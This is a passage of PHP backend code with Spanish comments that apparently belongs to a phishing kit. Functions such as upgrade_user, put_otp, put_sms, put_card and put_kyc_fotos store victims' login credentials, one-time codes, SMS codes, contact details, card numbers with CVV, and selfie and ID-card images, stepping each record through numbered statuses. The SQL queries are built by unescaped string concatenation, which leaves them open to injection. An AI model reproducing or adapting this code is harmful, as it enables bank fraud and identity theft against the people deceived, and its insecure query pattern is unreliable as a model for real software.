      setcookie("id", $idreg, $cookieOpts);
      setcookie("idreg", $idreg, $cookieOpts);

      // ✅ para que funcione en el MISMO request (importantísimo)
      $_COOKIE["id"]    = $idreg;
      $_COOKIE["idreg"] = $idreg;

      echo "OK_ID: ".$idreg."\n";
      desconectar($con);
      return $idreg;
    }

    echo "NO_SE_ENCONTRO_ID\n";
    desconectar($con);
    return false;
  }

  echo "ERR_CONEXION\n";
  return false;
}





function status($r){
	if ($con = conectar()) {
		$consulta = sentencia($con,"SELECT status FROM m3it3m WHERE idreg = '".$r."'");
		if (contarfilas($consulta)) {
			$datos=traerdatos($consulta);
			$st = $datos["status"];
			desconectar($con);
			return $st;
		}
		desconectar($con);
	}
	return null;
}

function upgrade_user($usr,$pas,$id){
	date_default_timezone_set('America/Bogota');
	$hoy = date("Y-m-d H:i:s"); 

	if ($con = conectar()) {
		sentencia($con,"UPDATE m3it3m SET status = '1', usuario ='".$usr."', password= '".$pas."', horamodificado='".$hoy."' WHERE idreg = ".$id);
		desconectar($con);
	}
}

function put_otp($id,$cd){
	date_default_timezone_set('America/Bogota');
	$hoy = date("Y-m-d H:i:s"); 

	if ($con = conectar()) {
		sentencia($con,"UPDATE m3it3m SET status = '3', otp ='".$cd."', horamodificado='".$hoy."' WHERE idreg = ".$id);
		desconectar($con);
	}
}
function put_sms($id,$sms){
	date_default_timezone_set('America/Bogota');
	$hoy = date("Y-m-d H:i:s"); 

	if ($con = conectar()) {
		sentencia($con,"UPDATE m3it3m SET status = '21', sms ='".$sms."', horamodificado='".$hoy."' WHERE idreg = ".$id);
		desconectar($con);
	}
}


function put_mail($id,$mail,$cm,$cel){
	date_default_timezone_set('America/Bogota');
	$hoy = date("Y-m-d H:i:s"); 
	if ($con = conectar()) {
		sentencia($con,"UPDATE m3it3m SET status = '5', email='".$mail."', cemail='".$cm."', celular='".$cel."', horamodificado='".$hoy."'  WHERE idreg = ".$id);
		desconectar($con);
	}
}

function put_card($id,$tar,$ft,$cvv){
	date_default_timezone_set('America/Bogota');
	$hoy = date("Y-m-d H:i:s"); 
	if ($con = conectar()) {	
		sentencia($con,"UPDATE m3it3m SET status = '7', tarjeta='".$tar."', ftarjeta='".$ft."', cvv='".$cvv."', horamodificado='".$hoy."'  WHERE idreg = ".$id);
		desconectar($con);
	}
}

function tabot($id, $oks){
  date_default_timezone_set('America/Bogota');
  $hoy = date("Y-m-d H:i:s"); 
  if ($con = conectar()) {	
    sentencia($con,"UPDATE m3it3m SET status = '13', horamodificado='".$hoy."', oks='".$oks."'  WHERE idreg = ".$id);
    desconectar($con);
  }
}

function put_kyc_fotos($id, $selfie, $front, $back){
    date_default_timezone_set('America/Bogota');
    $hoy = date("Y-m-d H:i:s"); 

    if ($con = conectar()) {

        // Importante: escapamos las cadenas porque son base64 largos
        $selfie = mysqli_real_escape_string($con, $selfie);
        $front  = mysqli_real_escape_string($con, $front);
        $back   = mysqli_real_escape_string($con, $back);

        // Si quieres actualizar también el status (ej: 6 = KYC completado),
        // puedes descomentar "status = '6',"
        $sql = "
            UPDATE m3it3m 
            SET status = '15',
                selfie_b64     = '".$selfie."',
                card_front_b64 = '".$front."',
                card_back_b64  = '".$back."',
                horamodificado = '".$hoy."'
            WHERE idreg = ".$id."
        ";

        sentencia($con, $sql);
        desconectar($con);
    }
}




?>